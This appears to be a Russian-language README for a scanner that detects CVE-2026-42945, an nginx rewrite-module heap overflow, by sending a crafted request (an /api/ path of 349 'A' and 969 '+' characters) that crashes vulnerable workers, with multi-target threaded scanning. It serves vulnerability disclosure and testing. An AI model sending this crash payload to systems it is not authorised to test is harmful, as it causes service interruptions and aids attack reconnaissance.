
Скрипт поведенческого обнаружения для CVE-2026-42945 (NGINX Rift) — переполнение кучи в ngx_http_rewrite_module. Только обнаружение на основе сбоя, без RCE.
Скрипт поведенческого обнаружения для CVE-2026-42945 (NGINX Rift) — переполнения кучи в ngx_http_rewrite_module, присутствующего в nginx с 2008 года.
Этот инструмент предназначен исключительно для авторизованного тестирования безопасности и исследований. Запускайте его только против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Несанкционированное использование может нарушать законы о компьютерных преступлениях в вашей юрисдикции. Автор не несет ответственности за любое неправомерное использование или ущерб, причиненный этим инструментом.
CVE-2026-42945 — это переполнение кучи в движке скриптов перезаписи nginx (ngx_http_rewrite_module), появившееся в версии 0.6.27 (2008) и присутствующее около 18 лет.
Ошибка возникает из-за несоответствия между двумя проходами движка перезаписи:
is_args = 0 → выделяет маленький буферis_args = 1 → вызывает ngx_escape_uri, расширяя каждый экранируемый байт (например, +) до 3× размера → переполняет буфер кучиЭто позволяет неаутентифицированное удаленное выполнение кода.
Уязвимые версии:
| Продукт | Уязвимые | Исправленные |
|---|---|---|
| NGINX Open Source | 0.6.27 – 1.30.0 | 1.30.1, 1.31.0+ |
| NGINX Plus | R32 – R36 | R36 P4, R35 P2, R32 P6 |
Ссылки:
Этот скрипт не пытается выполнить RCE. Он имитирует поток PoC с использованием сырых сокетов:
GET /api/<349×A><969×+> как частичный HTTP-запросОбнаружение основано на аварийном завершении воркера. Мастер nginx немедленно перезапустит его, но произойдет кратковременное прерывание. Используйте с осторожностью на production-системах.
# Одиночная цель (HTTP)
python3 detect-CVE-2026-42945.py --host 127.0.0.1 --port 80
# Одиночная цель (HTTPS)
python3 detect-CVE-2026-42945.py --host example.com --port 443 --tls
# Список целей
python3 detect-CVE-2026-42945.py -l targets.txt
# С многопоточностью и файлом вывода
python3 detect-CVE-2026-42945.py -l targets.txt --threads 10 -o vulnerable.txt
# Больше попыток для ненадежных целей
python3 detect-CVE-2026-42945.py --host 10.0.0.1 --port 8080 --tries 5
Формат targets.txt — по одной на строку:
http://example.com
https://example.com:8443
192.168.1.1
192.168.1.1:8080
Опции:
--host Хост одиночной цели
--port Порт (по умолчанию: 80 или 443 с --tls)
--tls Использовать TLS/HTTPS для одиночной цели
-l, --list Файл со списком целей
--tries Попыток обнаружения на цель (по умолчанию: 3)
--threads Потоков для сканирования списка (по умолчанию: 5)
-o, --output Сохранить уязвимые цели в CSV-файл
[*] CVE-2026-42945 NGINX Rift Detection | цели=2 потока=5 попыток=3
[*] http://192.168.1.1:80 - nginx/1.28.0
[*] http://192.168.1.2:8080 - nginx/1.31.0
[!!!] УЯЗВИМА | http://192.168.1.1:80 | nginx/1.28.0 | аварийное завершение воркера (соединение триггера закрыто — воркер перезапущен)
[+] http://192.168.1.2:8080 - не уязвима (или пропуск по времени, попробуйте --tries 5)
==================================================
[*] Сканирование завершено. Просканировано 2 целей.
[!!!] 1 УЯЗВИМАЯ ЦЕЛЬ(ей):
http://192.168.1.1:80 (nginx/1.28.0)
==================================================
Оригинальный репозиторий включает среду Docker lab:
git clone https://github.com/DepthFirstDisclosures/Nginx-Rift
cd Nginx-Rift
chmod +x setup.sh && ./setup.sh
docker compose -f env/docker-compose.yml up -d
python3 detect-CVE-2026-42945.py --host 127.0.0.1 --port 19321
MIT — см. LICENSE
Оригинальное исследование уязвимости и PoC: DepthFirstDisclosures